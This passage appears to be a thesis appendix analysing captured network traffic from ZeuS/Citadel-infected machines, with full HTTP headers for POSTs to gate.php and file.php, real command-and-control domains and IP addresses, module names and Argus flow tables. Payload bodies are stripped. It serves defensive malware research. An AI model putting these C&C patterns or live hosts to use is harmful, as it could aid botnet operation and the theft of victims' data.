PREF=ID=035996bfe2cc00fc:FF=0:TM=1395951358:LM=1395951358:S=Fa05PSFNnmB

MOXGF; NID=67=PNF1MlHrllqGvyUScU3-

cu7JJ8uQQoT8PXzsSe_N2IJrh2OgJjsQ3oVOi1MdKwCoKGGjbtigQtEy4z73Z38AqYAh1MY

pWb0SsFcn1xFJmGfCQZH5Fr0JsqFqInG4UCAl 

Cache-Control: no-cache 

Host: www.google.nl 

 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:17:58 GMT 

Expires: -1 

Cache-Control: private, max-age=0 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=035996bfe2cc00fc:U=1a04e1f878b384e8:FF=0:TM=1395951358:LM=13959

51478:S=qqchw8s7DMTOssGt; expires=Sat, 26-Mar-2016 20:17:58 GMT; 

path=/; domain=.google.nl 

Set-Cookie: 
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NID=67=kROtNIBxGBYO95f_qiZfzWdx9vjyAYYvcixfuSwIBZPiGFzML8UXnjT_BFbeOmiC

TUs32MOKRavALUSUyNe1cT8BRyY9SjDuzVydoF7AH-XCWkmtikCL_0WIwE18KGbH; 

expires=Fri, 26-Sep-2014 20:17:58 GMT; path=/; domain=.google.nl; 

HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Server: gws 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html/script content removed ) 

 

 

    For this connection, Argus created one flow.  

Table A-30: Flows from Twelfth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1048 173.194.67.94 80 0.326700 1397 30576 16 25 

 
 
 
Thirteenth Connection: Source Port 1049, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was again very similar to those in previous connections specifying the 

“t.php” resource, both request and response contained message bodies with no readable 

text.  The message body of this request had a length of 4155 bytes and unique content.  

The message body of the response again had a length of 64 bytes but again had new 

content.       
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POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 4155 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:17:58 GMT 

Server: Apache/2.2.26 (CentOS) 

X-Powered-By: PHP/5.2.17 

Content-Length: 64 

Connection: close 

Content-Type: text/html; charset=UTF-8 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-31: Flows from Thirteenth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1049 37.0.123.150 80 0.428192 4900 751 9 9 

 
 
 
Fourteenth Connection: Source Port 1050, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was again very similar to those in previous connections specifying the 
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“t.php” resource, both request and response contained message bodies with no readable 

text.  The message body of this request had a length of 373 bytes and new content.  The 

message body of the response again had a length of 64 bytes but again had new content.       

 

 

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 373 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:17:59 GMT 

Server: Apache/2.2.26 (CentOS) 

X-Powered-By: PHP/5.2.17 

Content-Length: 64 

Connection: close 

Content-Type: text/html; charset=UTF-8 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow. 

Table A-32: Flows from Fourteenth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1050 37.0.123.150 80 0.388736 901 535 5 5 
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Fifteenth Connection: Source Port 1055, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was again very similar to those in previous connections specifying the 

“o.bin” resource, both request and response contained message bodies with no readable 

text.  The message body of this request again had a length of 122 bytes but with different 

content.  The message body of the response again had a length of 5328 bytes and the 

same content.            

 

 

POST /administrator/cache/modules/tmp/com/o.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:19:31 GMT 

Server: Apache/2.2.26 (CentOS) 

Last-Modified: Sun, 16 Mar 2014 09:42:42 GMT 

ETag: "363668-14d0-4f4b61fd32880" 

Accept-Ranges: bytes 

Content-Length: 5328 

Connection: close 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 
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    For this connection, Argus created one flow.  

Table A-33: Flows from Fifteenth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1055 37.0.123.150 80 0.211148 830 6094 8 9 

 
     The behavior observed in the connections of this sample file (b8c) differed from that 

reported by Alserhani, Akhlaq, Awan, and Cullen (2010), Binsalleeh, Ormerod, 

Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), and Riccardi, Di Pietro, 

Palanques, and Vila (2013).  Here the infected client appeared to request updated 

configuration files with a POST method as opposed to the GET method reported by the 

other researchers.  In each case, the POST method with resource “o.bin” was used to 

request files from the server and the POST method with resource “t.php” was used to 

provide information, likely stolen data or status updates, to the server.  This later 

behavior matches the behavior reported by both research teams, only the resource name is 

“t.php” rather than the default “gate.php” they reported.  Also note that requests for each 

category were sent at two-minute intervals.  Based on the Date header in the responses, 

the first two “o.bin” requests were responded to at 20:15:27 and 20:15:30.  The next one 

was responded to at 20:17:31, and the final one at 20:19:31.  The first “t.php” request was 

sent at 20:15:58, the next six were sent between 20:17:57 and 20:17:59.     
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Sample File 2d7 collected on 28 Mar 2014 with total time 5 minutes 1 second 

     This network trace sample file consisted of nine successful TCP connections, as 

summarized in the following table.  A column is included in the table to indicate whether 

the connection was preceded by a DNS query when the HTTP Host Header field 

specified a domain name as opposed to an IP address.  In this case a domain name was 

specified for the suspicious server. 

Table A-34: Summary of Connections in File 2d7 

Source Port Destination IP HTTP Host Header DNS? 

1030 199.201.122.227 ad-amirsarvi.ir Yes 

1031 199.201.122.227 ad-amirsarvi.ir n/a 

1032 199.201.122.227 ad-amirsarvi.ir n/a 

1033 199.201.122.227 ad-amirsarvi.ir n/a 

1034 173.194.40.241 www.google.com Yes 

1035 173.194.40.247 www.google.se Yes 

1036 199.201.122.227 ad-amirsarvi.ir n/a 

1040 199.201.122.227 ad-amirsarvi.ir n/a 

1041 199.201.122.227 ad-amirsarvi.ir n/a 

 

First Connection: Source Port 1030, Destination IP 199.201.122.227 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request included a message body with a length of 122 bytes. The 
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message body contained no readable text.  The Connection header specified Keep-Alive 

to explicitly maintain a persistent connection after the response was complete, suggesting 

that additional requests might follow.  The Cache-Control header specified No-Cache to 

prevent caching by all caching mechanisms in proxies or gateways along the request 

chain.  The response, successful status code 200 OK, included a message body with a 

length of 5360 bytes.  The Cache-Control header specified Public to allow caching along 

the request chain.  The filename “config.dll” was specified for this message body using 

the Content-Disposition header.  The Content-Disposition header was used together with 

the Content-Type header to recommend storing rather than displaying of the file by the 

client.  The Content-Disposition header is not formally part of the HTTP/1.1 standard in 

RFC 2616, but has been borrowed from RFC 1806 and widely implemented.        

 

 

POST /media/system/css/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:16:14 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Cache-Control: public 

Content-Disposition: attachment; filename="%2e/files/config.dll" 

Content-Transfer-Encoding: binary 
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Content-Length: 5360 

Vary: Accept-Encoding,User-Agent 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 

 

     A query of ZeuS Tracker produced a match for the IP address and domain name of the 

server observed in this connection.  A query using whois indicated that this IP address 

belonged to a block assigned to an entity named Synaptica, without further information.  

The domain name was registered in 2014 to an individual in Iran.   

 

 

Figure A-1. Positive ZeuS Tracker Results for 199.201.122.227 

 

    For this connection, Argus created two flows, one with the HTTP request and response 

packets and another with the packets to close the connection.  
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Table A-35: Flows from First Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1030 199.201.122.227 80 1.474594 835 6176 8 8 

1030 199.201.122.227 80 0.214727 60 54 1 1 

 
 
Second Connection: Source Port 1031, Destination IP 199.201.122.227 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request included a message body with a length of 128 bytes. The 

message body contained no readable text.  Use of headers was the same as in the previous 

connection.  The response, successful status code 200 OK, included a message body with 

a length of 177951 bytes.  Use of headers in the response was also the same as in the 

previous connection.  The filename “cit_video.module” was specified for this message 

body using the Content-Disposition header.                  

 

 

POST /media/system/css/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 128 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:16:16 GMT 
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Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Cache-Control: public 

Content-Disposition: attachment; filename="%2e/files/cit_video.module" 

Content-Transfer-Encoding: binary 

Content-Length: 177951 

Vary: Accept-Encoding,User-Agent 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 

 

    For this connection, Argus created three flows, two for the HTTP request and response 

packets and a third with the packets to close the connection.  

Table A-36: Flows from Second Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1031 199.201.122.227 80 4.957335 3391 75068 46 56 

1031 199.201.122.227 80 4.987528 3858 108264 61 78 

1031 199.201.122.227 80 0.000574 120 2355 2 2 

 
 
 
Third Connection: Source Port 1032, Destination IP 199.201.122.227 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request included a message body with a length of 131 bytes. The 

message body contained no readable text.  Use of headers was the same as in the previous 

connection.  The response, successful status code 200 OK, included a message body with 

a length of 221471 bytes.  Use of headers in the response was also the same as in the 
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previous connection.  The filename “cit_ffcookie.module” was specified for this message 

body using the Content-Disposition header.                  

 

 

POST /media/system/css/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:16:24 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Cache-Control: public 

Content-Disposition: attachment; 

filename="%2e/files/cit_ffcookie.module" 

Content-Transfer-Encoding: binary 

Content-Length: 221471 

Vary: Accept-Encoding,User-Agent 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 

 

    For this connection, Argus created two flows, one for the HTTP request and response 

and a second with packets to close the connection.  
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Table A-37: Flows from Third Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1032 199.201.122.227 80 4.903603 9398 231046 139 170 

1032 199.201.122.227 80 0.224905 60 54 1 1 

 
 
 
Fourth Connection: Source Port 1033, Destination IP 199.201.122.227 

     The HTTP content over this TCP connection consisted of four requests from the local 

client to the remote server with corresponding responses from the remote server.  Each 

request consisted of a POST method specifying the resource “gate.php” and contained 

message bodies with no readable text.  The content length was the same for two of the 

requests (548 bytes) but the content was unique in all four.  Similarly, the responses all 

had a content length of 64 bytes but each had unique content.  This could suggest that the 

content was padded and encrypted to result in an entity of that length.                

 

 

POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 535 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 20Date: Fri, 28 Mar 2014 02:16:44 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 
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Content-Length: 64 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

 

POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 1223 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

(binary content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:16:44 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=99 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

 

POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 548 
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Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:16:47 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=98 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

 

POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 548 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:16:48 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=97 

Connection: Keep-Alive 

Content-Type: text/html 
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( non-readable content removed ) 

 

    For this connection, Argus created six flows, two for the HTTP requests and responses 

and four with unanswered packets from the client to close the connection. 

Table A-38: Flows from Fourth Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1033 199.201.122.227 80 4.627199 4123 1287 7 8 

1033 199.201.122.227 80 1.001572 120 390 2 2 

1033 199.201.122.227 80 1.793639 120 0 2 0 

1033 199.201.122.227 80 0.000000 60 0 1 0 

1033 199.201.122.227 80 0.000000 60 0 1 0 

1033 199.201.122.227 80 0.000000 60 0 1 0 

 
 
 
 
Fifth Connection: Source Port 1034, Destination IP 173.194.40.241 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.       

 

 

GET /webhp HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.com 

Cache-Control: no-cache 
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HTTP/1.1 302 Found 

Location: http://www.google.se/webhp?gfe_rd=ctrl&ei=ht40U8G3H-

WO8QfHwoDAAQ&gws_rd=cr 

Cache-Control: private 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=d37cbd36766b67cb:FF=0:TM=1395973766:LM=1395973766:S=u6-

DmDJ_ftlh6zvE; expires=Sun, 27-Mar-2016 02:29:26 GMT; path=/; 

domain=.google.com 

Set-Cookie: NID=67=XggWzWj_gWLFqr_pFPcmWJliBqPCtOk9ztUCoc1gMr-

V4HXDfkh5ZFZcTWm0mX25IqejlH_a1ENDlP86scmEFKgxWDr5FbbLWn8ZZn4NZ0TBYSE4BJ

WJZptj0OXBU8VJ; expires=Sat, 27-Sep-2014 02:29:26 GMT; path=/; 

domain=.google.com; HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Date: Fri, 28 Mar 2014 02:29:26 GMT 

Server: gws 

Content-Length: 279 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html content removed ) 

 

    For this connection, Argus created one flow.  

Table A-39: Flows from Fifth Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1034 173.194.40.241 80 0.502010 467 1422 5 5 
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Sixth Connection: Source Port 1035, Destination IP 173.194.40.247 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.       

 

 

GET /webhp?gfe_rd=ctrl&ei=ht40U8G3H-WO8QfHwoDAAQ&gws_rd=cr HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Cache-Control: no-cache 

Host: www.google.se 

 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:29:27 GMT 

Expires: -1 

Cache-Control: private, max-age=0 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=d486b8dd37fdc592:FF=0:TM=1395973767:LM=1395973767:S=CpD_b8Pxz2N

3gQ6k; expires=Sun, 27-Mar-2016 02:29:27 GMT; path=/; domain=.google.se 

Set-Cookie: 

NID=67=kTatCaQ0l7SRAO51WSNQLbj9J1r00IXqG22CjqJOkBg57pObnQdh76_VE47kEjo7

lS4W7aQLn89efOcgY3o_GCPOvKZX_jQID70oEnmbqA4Tfij3ypgCfeiWxK_dVCR8; 

expires=Sat, 27-Sep-2014 02:29:27 GMT; path=/; domain=.google.se; 

HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Server: gws 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 
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Alternate-Protocol: 80:quic 

Connection: close 

 

( html/script content removed ) 

 

    For this connection, Argus created one flow.  

Table A-40: Flows from Sixth Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1035 173.194.40.247 80 0.703918 1354 30679 19 26 

 
 
 
Seventh Connection: Source Port 1036, Destination IP 199.201.122.227 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was similar to those in the fourth connection.  The request had a message 

body with a length of 377 bytes and no readable text.  The response had a message body 

with a length of 64 bytes and unique content.      

 

 

POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 377 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:16:48 GMT 
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Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

    For this connection, Argus created six flows, two for the HTTP request and response 

and four with unanswered FIN-ACK packets from the client to close the connection.   

Table A-41: Flows from Seventh Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1036 199.201.122.227 80 3.356106 894 178 5 3 

1036 199.201.122.227 80 1.937593 120 391 2 2 

1036 199.201.122.227 80 2.694393 120 0 2 0 

1036 199.201.122.227 80 0.000000 60 0 1 0 

1036 199.201.122.227 80 0.000000 60 0 1 0 

1036 199.201.122.227 80 0.000000 60 0 1 0 

 
 
 
Eighth Connection: Source Port 1040, Destination IP 199.201.122.227 

     The HTTP content over this TCP connection consisted of five requests from the local 

client to the remote server with corresponding responses from the remote server.  These 

exchanges were similar to those in previous connections specifying the “gate.php” 

resource.  All requests and responses had message bodies with unique content and no 

readable text.  Two of the five requests had the same content length.  All of the responses 

again had a content length of 64 bytes.  This could suggest that the content was padded 

and encrypted to result in an entity of that length.                
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POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 527 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:19:49 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

 

POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 1215 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

(binary content removed ) 

 

HTTP/1.1 200 OK 
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Date: Fri, 28 Mar 2014 02:19:54 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=99 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

 

POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 540 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:19:56 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=98 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 
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POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 540 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:19:57 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=97 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

 

POST /media/system/css/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 4168 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:19:58 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 
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Vary: User-Agent 

Content-Length: 64 

Keep-Alive: timeout=1, max=96 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

    For this connection, Argus created four flows, three for the HTTP requests and 

responses and a fourth with the packets to close the connection.  

Table A-42: Flows from Eighth Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1040 199.201.122.227 80 1.005816 922 116 3 2 

1040 199.201.122.227 80 4.427854 7827 1507 9 7 

1040 199.201.122.227 80 3.580216 220 270 1 5 

1040 199.201.122.227 80 0.244170 186 390 3 2 

 
 
 
Ninth Connection: Source Port 1041, Destination IP 199.201.122.227 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was similar to those in previous connections specifying the “file.php” 

resource.  Both the request and response had message bodies with no readable text.  

Although the request had a message body of 122 bytes, same as in the first connection, 

the content was different.  The content of the response message body, again specified as 

filename “config.dll” using the Content-Disposition header, was the same as in the first 

connection.   
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POST /media/system/css/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: ad-amirsarvi.ir 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 02:20:16 GMT 

Server: Apache/2 

X-Powered-By: PHP/5.4.25 

Cache-Control: public 

Content-Disposition: attachment; filename="%2e/files/config.dll" 

Content-Transfer-Encoding: binary 

Content-Length: 5360 

Vary: Accept-Encoding,User-Agent 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-43: Flows from Ninth Connection in File 2d7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1041 199.201.122.227 80 2.440082 817 6176 8 8 

 
 
     The behavior observed in the connections of this sample file (2d7) differed from that 

reported by Alserhani, Akhlaq, Awan, and Cullen (2010), Binsalleeh, Ormerod, 

Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), and Riccardi, Di Pietro, 
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Palanques, and Vila (2013).  Here the infected client appeared to request updated 

configuration files with a POST method as opposed to the GET method reported by these 

researchers.  The command and control (C&C) server responded with the file “config.dll” 

as opposed to the file “config.bin” reported by Binsalleeh et al.  Here the client also 

requested other files from the C&C server that were not previously reported, namely 

“cit_video.module” and “cit_ffcookie.module.”  In each case, the POST method 

specifying resource “file.php” (POST /media/system/css/file.php HTTP/1.1) was used to 

request files and the POST method specifying “gate.php” (POST 

/media/system/css/gate.php HTTP/1.1) was used to provide information, likely status 

updates and stolen data.  This latter behavior matches the communications behavior 

reported by Binsalleeh et al. to include the resource name.  Riccardi, Di Pietro, 

Palanques, and Vila (2013) reported that “gate.php” was among the pages in the Zeus 

control panels root directory.  They further reported that this PHP page on the C&C 

server is responsible for handling incoming POST messages.  The timing of requests, 

based on the Date header in the responses, appeared to be POST requests for file updates 

(file.php) every four minutes and POST requests with status information or stolen data 

(gate.php) every three minutes.  The latter POST requests were issued in sets of five, 

which was not previously reported in the literature.   
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Sample File 9ca collected on 27 Mar 2014 with total time 4 minutes 55 seconds 

     This network trace sample file consisted of nine successful TCP connections.  A 

column is included in the table to indicate whether the connection was preceded by a 

DNS query when the HTTP Host Header field specified a domain name as opposed to an 

IP address.  In this case domain names were specified for the suspicious servers. 

Table A-44: Summary of Connections in File 9ca 

Source Port Destination IP HTTP Host Header DNS? 

1030 200.98.246.214 saudeodontos.com.br Yes 

1031 200.98.246.214 saudeodontos.com.br n/a 

1032 200.98.246.214 saudeodontos.com.br n/a 

1033 173.194.40.240 www.google.com Yes 

1034 173.194.40.255 www.google.se Yes 

1035 200.98.246.214 saudeodontos.com.br n/a 

1036 85.158.181.11 www.two-of-us.at Yes 

1040 200.98.246.214 saudeodontos.com.br n/a 

1041 200.98.246.214 saudeodontos.com.br n/a 

 

First Connection: Source Port 1030, Destination IP 200.98.246.214 
 
     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.       

The request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request included a message body with a length of 128 bytes.  The 

message body contained no readable text.  The Connection header specified Keep-Alive 
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to explicitly maintain a persistent connection after the response was complete, suggesting 

that additional requests might follow.  The Cache-Control header specified No-Cache to 

prevent caching by all caching mechanisms in proxies or gateways along the request 

chain.  The response, successful status code 200 OK, included a message body with a 

length of 177951 bytes.  The filename “cit_video.module” was specified for this message 

body using the Content-Disposition header.  The Content-Disposition header was used to 

recommend storing rather than displaying of the file by the client.   

 

 

POST /media/system/images/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 128 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:25 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Cache-Control: public 

Content-Disposition: attachment; filename="%2e/files/cit_video.module" 

Content-Transfer-Encoding: binary 

Content-Length: 177951 

 

( non-readable content removed ) 
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     ZeuS Tracker reports this hostname and IP address as a known ZeuS Command and 

Control (C&C) host in Brazil. The figure illustrates the results of the IP search. 

(https://zeustracker.abuse.ch/monitor.php?search=200.98.246.214) 

 

 

Figure A-2: Positive ZeuS Tracker Results for 200.98.246.214 

 

    For this connection, Argus created four flows, two for the HTTP requests and 

responses and two with packets to close the connection. 

Table A-45: Flows from First Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1030 200.98.246.214 80 4.962722 2588 83764 37 63 

1030 200.98.246.214 80 1.713675 3186 108847 52 79 

1030 200.98.246.214 80 0.000000 60 54 1 1 
